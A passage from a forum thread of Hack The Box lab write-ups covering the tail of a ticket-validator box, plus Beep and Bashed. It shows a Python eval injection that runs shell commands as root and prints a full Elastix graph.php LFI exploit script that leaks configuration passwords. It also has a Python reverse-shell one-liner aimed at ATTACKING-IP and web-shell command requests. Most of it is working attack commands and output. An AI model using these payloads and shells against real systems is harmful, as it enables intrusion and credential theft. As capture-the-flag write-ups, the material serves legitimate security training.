False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue if x.startswith("__Ticket Code:__"): code_line = i+1 continue if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False return False def main(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close main() Ok let's write our own ticket. The ticket has to complete the requirements in order to be executed. Then in the Ticket Code I decided to go with the example + a random number which equals to something that will return TRUE condition and used "and" to concatenate a system command that will spawn a reverse shell. # Skytrain Inc ## Ticket to __Ticket Code:__ **102+7==109 and __import__('os').system('nc -nvlp 1234 -e "/bin/bash"') == False it seems that the system has a version of nc that does not support the -e flag. Oh, well, we can still dump the flag. $ sudo python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. ticket.md Destination: nc: invalid option -- 'e' usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [-O length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port] Invalid ticket. Let's edit our ticket code. # Skytrain Inc ## Ticket to __Ticket Code:__ **102+7==109 and __import__('os').system('cat /root/root.txt') == False And execute the code: $ sudo python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. ticket.md Destination: <flag> Invalid ticket.
  20. h3xu

    Beep

    # Enumeration The nmap scan enumerated 16 open ports running a variety of services. Nmap scan report for 10.10.10.7 Host is up (0.049s latency). Not shown: 65519 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA) |_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA) 25/tcp open smtp Postfix smtpd |_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 80/tcp open http Apache httpd 2.2.3 |_http-server-header: Apache/2.2.3 (CentOS) |_http-title: Did not follow redirect to https://10.10.10.7/ 110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_pop3-capabilities: APOP TOP RESP-CODES PIPELINING LOGIN-DELAY(0) USER IMPLEMENTATION(Cyrus POP3 server v2) AUTH-RESP-CODE STLS UIDL EXPIRE(NEVER) 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 875/udp status |_ 100024 1 878/tcp status 143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_imap-capabilities: UIDPLUS LIST-SUBSCRIBED ATOMIC OK URLAUTHA0001 CHILDREN LISTEXT Completed RENAME UNSELECT IMAP4 X-NETSCAPE RIGHTS=kxte THREAD=ORDEREDSUBJECT IDLE CONDSTORE ACL CATENATE ANNOTATEMORE ID THREAD=REFERENCES SORT=MODSEQ LITERAL+ MAILBOX-REFERRALS NAMESPACE NO BINARY SORT STARTTLS MULTIAPPEND QUOTA IMAP4rev1 443/tcp open ssl/https? | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2017-04-07T08:22:08 |_Not valid after: 2018-04-07T08:22:08 |_ssl-date: 2021-04-12T10:58:07+00:00; +3m45s from scanner time. 878/tcp open status 1 (RPC #100024) 993/tcp open ssl/imap Cyrus imapd |_imap-capabilities: CAPABILITY 995/tcp open pop3 Cyrus pop3d 3306/tcp open mysql MySQL (unauthorized) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap) 4445/tcp open upnotifyp? 4559/tcp open hylafax HylaFAX 4.3.10 5038/tcp open asterisk Asterisk Call Manager 1.1 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). # Web Application ## Port 80 Going to https://10.10.10.7 I was greeted by the following login page: ![[Pasted image 20210412140605.png]] ## Port 10000 The nmap scan revealed Webmin httpd service on port 10k. Let's see it: ![[Pasted image 20210412142951.png]] Hmm, interesting. From the URL I can see a ***.cgi*** extension. Let's google the file '*session_login.cgi*'. The results are quite interesting. Let's save some time and try to use "vuln.nse" on port 10k: # nmap -sV -p 10000 --script vuln 10.10.10.7 1 ⨯ Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-12 07:46 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 66.20% done; ETC: 07:47 (0:00:00 remaining) Nmap scan report for 10.10.10.7 Host is up (0.050s latency). PORT STATE SERVICE VERSION 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-litespeed-sourcecode-download: | Litespeed Web Server Source Code Disclosure (CVE-2010-2333) | /index.php source code: | <h1>Error - Bad Request</h1> |_<pre>This web server is running in SSL mode. Try the URL <a href='https://10.10.10.7:10000/'>https://10.10.10.7:10000/</a> instead.<br></pre> |_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug) | http-phpmyadmin-dir-traversal: | VULNERABLE: | phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion | State: UNKNOWN (unable to test) | IDs: CVE:CVE-2005-3299 | PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. | | Disclosure date: 2005-10-nil | Extra information: | ../../../../../etc/passwd : | <h1>Error - Bad Request</h1> | <pre>This web server is running in SSL mode. Try the URL <a href='https://10.10.10.7:10000/'>https://10.10.10.7:10000/</a> instead.<br></pre> | | References: | http://www.exploit-db.com/exploits/1244/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-vuln-cve2006-3392: | VULNERABLE: | Webmin File Disclosure | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2006-3392 | Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML. | This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences | to bypass the removal of "../" directory traversal sequences. | | Disclosure date: 2006-06-29 | References: | http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure | http://www.exploit-db.com/exploits/1997/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392 |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) Apparently there could be local file inclusion and file disclosure vulnerabilities. msf6 auxiliary(admin/webmin/file_disclosure) > options Module options (auxiliary/admin/webmin/file_disclosure): Name Current Setting Required Description ---- --------------- -------- ----------- DIR /unauthenticated yes Webmin directory path Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file: <path>' RPATH /etc/passwd yes The file to download RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Auxiliary action: Name Description ---- ----------- Download Download arbitrary file msf6 auxiliary(admin/webmin/file_disclosure) > set RHOSTS 10.10.10.7 RHOSTS => 10.10.10.7 msf6 auxiliary(admin/webmin/file_disclosure) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(admin/webmin/file_disclosure) > exploit [*] Running module against 10.10.10.7 [*] Attempting to retrieve /etc/passwd... [*] The server returned: 404 File not found <h1>Error - File not found</h1> [*] Auxiliary module execution completed Ok, so we receive a 404 File not found for /etc/passwd... Hm.. I have tried running it a couple more times until I decided to postpone it and look for other stuff. # Elastix Elastix is an unified communications server software that brings together IP PBX, email, IM, faxing and collaboration functionality. It has a Web interface and includes capabilities such as a call center software with predictive dialing. ## Elastix default username:passwords Quick google search reveals the following interesting pages: [Elastix Default Login Password](https://www.elastix.org/community/threads/default-passwords-not-password.8416/). I have tried the following credentials with no success. Elastix PBX Default Credentials Elastix PBX systems install with multiple default passwords according to the wiki manual: Initial access to the Web interface Enter in the Web interface: Open web browser and go to https://ip-address-of-elastix-server/ Username: admin Password: one you assigned @ install Initial access to third party applications 1. To use Sugar CRM: Username: admin Password: password 2. To use A2bill: Username: admin Password: mypassword 3. Operator Flash Panel (from 0.6 version): Password: eLaStIx.2oo7 4. For accessing Freepbx (without being contracted) use: Username: admin Password: admin 5. For accessing vtigerCRM use: Username: admin Password: admin ## Searchsploit # searchsploit elastix 1 ⨯ --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Elastix - 'page' Cross-Site Scripting | php/webapps/38078.py Elastix - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/38544.txt Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/34942.txt Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl Elastix 2.x - Blind SQL Injection | php/webapps/36305.txt Elastix < 2.5 - PHP Code Injection | php/webapps/38091.php FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results After researching the exploits I found that according to [Security Focus](https://www.securityfocus.com/bid/55078/discuss) Elastix 'graph.php' Local File Include Vulnerability Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. Elastix 2.2.0 is vulnerable; other versions may also be affected. Ok, Let's locate the ***graph.php*** exploit on our machine # locate 37637.pl /usr/share/exploitdb/exploits/php/webapps/37637.pl The exploit's code: # cat 37637.pl source: https://www.securityfocus.com/bid/55078/info Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. Elastix 2.2.0 is vulnerable; other versions may also be affected. #!/usr/bin/perl -w #------------------------------------------------------------------------------------# #Elastix is an Open Source Sofware to establish Unified Communications. #About this concept, Elastix goal is to incorporate all the communication alternatives, #available at an enterprise level, into a unique solution. #------------------------------------------------------------------------------------# ############################################################ # Exploit Title: Elastix 2.2.0 LFI # Google Dork: :( # Author: cheki # Version:Elastix 2.2.0 # Tested on: multiple # CVE : notyet # romanc-_-eyes ;) # Discovered by romanc-_-eyes # vendor http://www.elastix.org/ print "\t Elastix 2.2.0 LFI Exploit \n"; print "\t code author cheki \n"; print "\t 0day Elastix 2.2.0 \n"; print "\t email: anonymous17hacker{}gmail.com \n"; #LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../../etc/amportal.conf%00&module=Accounts&action use LWP::UserAgent; print "\n Target: https://ip "; chomp(my $target=<STDIN>); $dir="vtigercrm"; $poc="current_language"; $etc="etc"; $jump="../../../../../../../..//"; $test="amportal.conf%00"; $code = LWP::UserAgent->new() or die "inicializacia brauzeris\n"; $code->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "/".$dir."/graph.php?".$poc."=".$jump."".$etc."/".$test."&module=Accounts&action"; $res = $code->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~ 'This file is part of FreePBX') { print "\n read amportal.conf file : $answer \n\n"; print " successful read\n"; } else { print "\n[-] not successful\n"; } So, let's go to the application and manually test it for LFI. https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../etc/amportal.conf%00&module=Accounts&action # This file is part of FreePBX. # # FreePBX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # FreePBX is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with FreePBX. If not, see . # # This file contains settings for components of the Asterisk Management Portal # Spaces are not allowed! # Run /usr/src/AMP/apply_conf.sh after making changes to this file # FreePBX Database configuration # AMPDBHOST: Hostname where the FreePBX database resides # AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql) # AMPDBNAME: Name of the FreePBX database (e.g. asterisk) # AMPDBUSER: Username used to connect to the FreePBX database # AMPDBPASS: Password for AMPDBUSER (above) # AMPENGINE: Telephony backend engine (e.g. asterisk) # AMPMGRUSER: Username to access the Asterisk Manager Interface # AMPMGRPASS: Password for AMPMGRUSER # AMPDBHOST=localhost AMPDBENGINE=mysql # AMPDBNAME=asterisk AMPDBUSER=asteriskuser # AMPDBPASS=amp109 AMPDBPASS=jEhdIekWmdjE AMPENGINE=asterisk AMPMGRUSER=admin #AMPMGRPASS=amp111 AMPMGRPASS=jEhdIekWmdjE # AMPBIN: Location of the FreePBX command line scripts # AMPSBIN: Location of (root) command line scripts # AMPBIN=/var/lib/asterisk/bin AMPSBIN=/usr/local/sbin # AMPWEBROOT: Path to Apache's webroot (leave off trailing slash) # AMPCGIBIN: Path to Apache's cgi-bin dir (leave off trailing slash) # AMPWEBADDRESS: The IP address or host name used to access the AMP web admin # AMPWEBROOT=/var/www/html AMPCGIBIN=/var/www/cgi-bin # AMPWEBADDRESS=x.x.x.x|hostname # FOPWEBROOT: Path to the Flash Operator Panel webroot (leave off trailing slash) # FOPPASSWORD: Password for performing transfers and hangups in the Flash Operator Panel # FOPRUN: Set to true if you want FOP started by freepbx_engine (amportal_start), false otherwise # FOPDISABLE: Set to true to disable FOP in interface and retrieve_conf. Useful for sqlite3 # or if you don't want FOP. # #FOPRUN=true FOPWEBROOT=/var/www/html/panel #FOPPASSWORD=passw0rd FOPPASSWORD=jEhdIekWmdjE # FOPSORT=extension|lastname # DEFAULT VALUE: extension # FOP should sort extensions by Last Name [lastname] or by Extension [extension] # This is the default admin name used to allow an administrator to login to ARI bypassing all security. # Change this to whatever you want, don't forget to change the ARI_ADMIN_PASSWORD as well ARI_ADMIN_USERNAME=admin # This is the default admin password to allow an administrator to login to ARI bypassing all security. # Change this to a secure password. ARI_ADMIN_PASSWORD=jEhdIekWmdjE # AUTHTYPE=database|none # Authentication type to use for web admininstration. If type set to 'database', the primary # AMP admin credentials will be the AMPDBUSER/AMPDBPASS above. AUTHTYPE=database # AMPADMINLOGO=filename # Defines the logo that is to be displayed at the TOP RIGHT of the admin screen. This enables # you to customize the look of the administration screen. # NOTE: images need to be saved in the ..../admin/images directory of your AMP install # This image should be 55px in height AMPADMINLOGO=logo.png # USECATEGORIES=true|false # DEFAULT VALUE: true # Controls if the menu items in the admin interface are sorted by category (true), or sorted # alphabetically with no categories shown (false). # AMPEXTENSIONS=extensions|deviceanduser # Sets the extension behavior in FreePBX. If set to 'extensions', Devices and Users are # administered together as a unified Extension, and appear on a single page. # If set to 'deviceanduser', Devices and Users will be administered seperately. Devices (e.g. # each individual line on a SIP phone) and Users (e.g. '101') will be configured # independent of each other, allowing association of one User to many Devices, or allowing # Users to login and logout of Devices. AMPEXTENSIONS=extensions # ENABLECW=true|false ENABLECW=no # DEFAULT VALUE: true # Enable call waiting by default when an extension is created. Set to 'no' to if you don't want # phones to be commissioned with call waiting already enabled. The user would then be required # to dial the CW feature code (*70 default) to enable their phone. Most installations should leave # this alone. It allows multi-line phones to receive multiple calls on their line appearances. # CWINUSEBUSY=true|false # DEFAULT VALUE: true # For extensions that have CW enabled, report unanswered CW calls as 'busy' (resulting in busy # voicemail greeting). If set to no, unanswered CW calls simply report as 'no-answer'. # AMPBADNUMBER=true|false # DEFAULT VALUE: true # Generate the bad-number context which traps any bogus number or feature code and plays a # message to the effect. If you use the Early Dial feature on some Grandstream phones, you # will want to set this to false. # AMPBACKUPSUDO=true|false # DEFAULT VALUE: false # This option allows you to use sudo when backing up files. Useful ONLY when using AMPPROVROOT # Allows backup and restore of files specified in AMPPROVROOT, based on permissions in /etc/sudoers # for example, adding the following to sudoers would allow the user asterisk to run tar on ANY file # on the system: # asterisk localhost=(root)NOPASSWD: /bin/tar # Defaults:asterisk !requiretty # PLEASE KEEP IN MIND THE SECURITY RISKS INVOLVED IN ALLOWING THE ASTERISK USER TO TAR/UNTAR ANY FILE # CUSTOMASERROR=true|false # DEFAULT VALUE: true # If false, then the Destination Registry will not report unknown destinations as errors. This should be # left to the default true and custom destinations should be moved into the new custom apps registry. # DYNAMICHINTS=true|false # DEFAULT VALUE: false # If true, Core will not statically generate hints, but instead make a call to the AMPBIN php script, # and generate_hints.php through an Asterisk's #exec call. This requires Asterisk.conf to be configured # with "execincludes=yes" set in the [options] section. # XTNCONFLICTABORT=true|false # BADDESTABORT=true|false # DEFAULT VALUE: false # Setting either of these to true will result in retrieve_conf aborting during a reload if an extension # conflict is detected or a destination is detected. It is usually better to allow the reload to go # through and then correct the problem but these can be set if a more strict behavior is desired. # SERVERINTITLE=true|false # DEFAULT VALUE: false # Precede browser title with the server name. # USEDEVSTATE = true|false # DEFAULT VALUE: false # If this is set, it assumes that you are running Asterisk 1.4 or higher and want to take advantage of the # func_devstate.c backport available from Asterisk 1.6. This allows custom hints to be created to support # BLF for server side feature codes such as daynight, followme, etc. # MODULEADMINWGET=true|false # DEFAULT VALUE: false # Module Admin normally tries to get its online information through direct file open type calls to URLs that # go back to the freepbx.org server. If it fails, typically because of content filters in firewalls that # don't like the way PHP formats the requests, the code will fall back and try a wget to pull the information. # This will often solve the problem. However, in such environment there can be a significant timeout before # the failed file open calls to the URLs return and there are often 2-3 of these that occur. Setting this # value will force FreePBX to avoid the attempt to open the URL and go straight to the wget calls. # AMPDISABLELOG=true|false # DEFAULT VALUE: true # Whether or not to invoke the FreePBX log facility # AMPSYSLOGLEVEL=LOG_EMERG|LOG_ALERT|LOG_CRIT|LOG_ERR|LOG_WARNING|LOG_NOTICE|LOG_INFO|LOG_DEBUG|LOG_SQL|SQL # DEFAULT VALUE: LOG_ERR # Where to log if enabled, SQL, LOG_SQL logs to old MySQL table, others are passed to syslog system to # determine where to log # AMPENABLEDEVELDEBUG=true|false # DEFAULT VALUE: false # Whether or not to include log messages marked as 'devel-debug' in the log system # AMPMPG123=true|false # DEFAULT VALUE: true # When set to false, the old MoH behavior is adopted where MP3 files can be loaded and WAV files converted # to MP3. The new default behavior assumes you have mpg123 loaded as well as sox and will convert MP3 files # to WAV. This is highly recommended as MP3 files heavily tax the system and can cause instability on a busy # phone system. # CDR DB Settings: Only used if you don't use the default values provided by FreePBX. # CDRDBHOST: hostname of db server if not the same as AMPDBHOST # CDRDBPORT: Port number for db host # CDRDBUSER: username to connect to db with if it's not the same as AMPDBUSER # CDRDBPASS: password for connecting to db if it's not the same as AMPDBPASS # CDRDBNAME: name of database used for cdr records # CDRDBTYPE: mysql or postgres mysql is default # CDRDBTABLENAME: Name of the table in the db where the cdr is stored cdr is default # AMPVMUMASK=mask # DEFAULT VALUE: 077 # Defaults to 077 allowing only the asterisk user to have any permission on VM files. If set to something # like 007, it would allow the group to have permissions. This can be used if setting apache to a different # user then asterisk, so that the apache user (and thus ARI) can have access to read/write/delete the # voicemail files. If changed, some of the voicemail directory structures may have to be manually changed. # DASHBOARD_STATS_UPDATE_TIME=integer_seconds # DEFAULT VALUE: 6 # DASHBOARD_INFO_UPDATE_TIME=integer_seconds # DEFAULT VALUE: 20 # These can be used to change the refresh rate of the System Status Panel. Most of # the stats are updated based on the STATS interval but a few items are checked # less frequently (such as Asterisk Uptime) based on the INFO value # ZAP2DAHDICOMPAT=true|false ZAP2DAHDICOMPAT=true # DEFAULT VALUE: false # If set to true, FreePBX will check if you have chan_dadhi installed. If so, it will # automatically use all your ZAP configuration settings (devices and trunks) and # silently convert them, under the covers, to DAHDI so no changes are needed. The # GUI will continue to refer to these as ZAP but it will use the proper DAHDI channels. # This will also keep Zap Channel DIDs working. # CHECKREFERER=true|false # DEFAULT VALUE: true # When set to the default value of true, all requests into FreePBX that might possibly add/edit/delete # settings will be validated to assure the request is coming from the server. This will protect the system # from CSRF (cross site request forgery) attacks. It will have the effect of preventing legitimately entering # URLs that could modify settings which can be allowed by changing this field to false. # USEQUEUESTATE=true|false # DEFAULT VALUE: false # Setting this flag will generate the required dialplan to integrate with the following Asterisk patch: # https://issues.asterisk.org/view.php?id=15168 # This feature is planned for a future 1.6 release but given the existence of the patch can be used prior. Once # the release version is known, code will be added to automatically enable this format in versions of Asterisk # that support it. # USEGOOGLEDNSFORENUM=true|false # DEFAULT VALUE: false # Setting this flag will generate the required global variable so that enumlookup.agi will use Google DNS # 8.8.8.8 when performing an ENUM lookup. Not all DNS deals with NAPTR record, but Google does. There is a # drawback to this as Google tracks every lookup. If you are not comfortable with this, do not enable this # setting. Please read Google FAQ about this: http://code.google.com/speed/public-dns/faq.html#privacy # MOHDIR=subdirectory_name # This is the subdirectory for the MoH files/directories which is located in ASTVARLIBDIR # if not specified it will default to mohmp3 for backward compatibility. MOHDIR=mohmp3 # RELOADCONFIRM=true|false # DEFAULT VALUE: true # When set to false, will bypass the confirm on Reload Box # FCBEEPONLY=true|false # DEFAULT VALUE: false # When set to true, a beep is played instead of confirmation message when activating/de-activating: # CallForward, CallWaiting, DayNight, DoNotDisturb and FindMeFollow # DISABLECUSTOMCONTEXTS=true|false # DEFAULT VALUE: false # Normally FreePBX auto-generates a custom context that may be usable for adding custom dialplan to modify the # normal behavior of FreePBX. It takes a good understanding of how Asterisk processes these includes to use # this and in many of the cases, there is no useful application. All includes will result in a WARNING in the # Asterisk log if there is no context found to include though it results in no errors. If you know that you # want the includes, you can set this to true. If you comment it out FreePBX will revert to legacy behavior # and include the contexts. # AMPMODULEXML lets you change the module repository that you use. By default, it # should be set to http://mirror.freepbx.org/ - Presently, there are no third # party module repositories. AMPMODULEXML=http://mirror.freepbx.org/ # AMPMODULESVN is the prefix that is appended to tags in the XML file. # This should be set to http://mirror.freepbx.org/modules/ AMPMODULESVN=http://mirror.freepbx.org/modules/ AMPDBNAME=asterisk ASTETCDIR=/etc/asterisk ASTMODDIR=/usr/lib/asterisk/modules ASTVARLIBDIR=/var/lib/asterisk ASTAGIDIR=/var/lib/asterisk/agi-bin ASTSPOOLDIR=/var/spool/asterisk ASTRUNDIR=/var/run/asterisk ASTLOGDIR=/var/log/asteriskSorry! Attempt to access restricted file. The above output reveals credentials in amportal.config file: User: admin/root | Password: jEhdIekWmdjE ...And login successful: Perhaps we could ssh? # ssh [email protected] 255 ⨯ Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 I have received an error which according to an opinion on the internet - it is received since the algorithm is considered legacy? Resolved it by manually selecting it. # ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected] 255 ⨯ The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established. RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.7' (RSA) to the list of known hosts. [email protected]'s password: Last login: Tue Jul 16 11:45:47 2019 Welcome to Elastix ---------------------------------------------------- To access your Elastix System, using a separate workstation (PC/MAC/Linux) Open the Internet Browser using the following URL: http://10.10.10.7 [root@beep ~]# [root@beep ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) The host reused his password so we're able to gain root through ssh.
  21. h3xu

    Bashed

    # Enumeration ## NMAP We have an open port at 80, running Apache 2.4.18 (UBUNTU). # nmap -A 10.10.10.68 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-08 03:14 EDT Nmap scan report for 10.10.10.68 Host is up (0.050s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=4/8%OT=80%CT=1%CU=43586%PV=Y%DS=2%DC=T%G=Y%TM=606EAD62 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS( OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11 OS:NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN( OS:R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Network Distance: 2 hops TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 50.56 ms 10.10.14.1 2 50.73 ms 10.10.10.68 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.14 seconds ## Let's see what's this website is about.## Dirbuster report It reveals bunch of directories and files that are interesting: DirBuster 1.0-RC1 - Report http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Report produced on Thu Apr 08 03:25:09 EDT 2021 -------------------------------- http://10.10.10.68:80 -------------------------------- Directories found during testing: Dirs found with a 200 response: / /css/ /dev/ /images/ /js/ /demo-images/ /php/ /uploads/ Dirs found with a 403 response: /icons/ /icons/small/ -------------------------------- Files found during testing: Files found with a 200 responce: /dev/phpbash.min.php /index.html /single.html /css/carouFredSel.css /css/clear.css /dev/phpbash.php /css/common.css /css/font-awesome.min.css /css/sm-clean.css /js/jquery.js /js/imagesloaded.pkgd.js /js/jquery.nicescroll.min.js /js/jquery.smartmenus.min.js /js/jquery.carouFredSel-6.0.0-packed.js /js/jquery.mousewheel.min.js /js/jquery.touchSwipe.min.js /js/jquery.easing.1.3.js /js/main.js /js/custom_google_map_style.js /js/html5.js /config.php /php/sendMail.php -------------------------------- The developer boasts about a phpbash file which he created onto the platform. Let's use it to get a foothold. # Burp Suite I am going to try and see the contents of the discovered files. ## Request The file runs bash commands on the local host. Let's cat our flags 🙂 POST /dev/phpbash.min.php/ HTTP/1.1 Host: 10.10.10.68 Content-Length: 41 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: */* Origin: http://10.10.10.68 Referer: http://10.10.10.68/dev/phpbash.min.php/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close cmd=cd /home/arrexel;pwd;ls;cat user.txt; ## Response user flag: 2c281f318555dbc1b856957c7147bfc1 HTTP/1.1 200 OK Date: Thu, 08 Apr 2021 08:02:27 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 56 Connection: close Content-Type: text/html; charset=UTF-8 /home/arrexel user.txt 2c281f318555dbc1b856957c7147bfc1 ### Let's see how we can escalate our privileges and gain root. Firstly, get reverse shell: 1. change attacking IP:PORT python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ### Let's upgrade our shell, so that we could make it more usable: 1. Spawn better shell: python3 -c 'import pty;pty.spawn("/bin/bash")' 2. Get access to term commands: export TERM=xterm 3. Background the shell with CNTRL + Z and turn on autocomplete etc. by typing in original terminal: stty raw -echo; fg # Privelege Esc. * Ran linenum.sh locally but nothing really was of interest. * Looked for SGID/SUID files. * finally looking into sudoers I received the following output: $ sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL It seems we (www-data) could run commands as user scriptmanager since it does not require password. $ sudo -u scriptmanager whoami scriptmanager To become user *scriptmanager* we type in: sudo -u scriptmanager bash -i Let's enumerate further. What does this user owns or has access to? scriptmanager@bashed:/$ find / -type f -user scriptmanager 2>/dev/null /scripts/test.py /home/scriptmanager/.profile 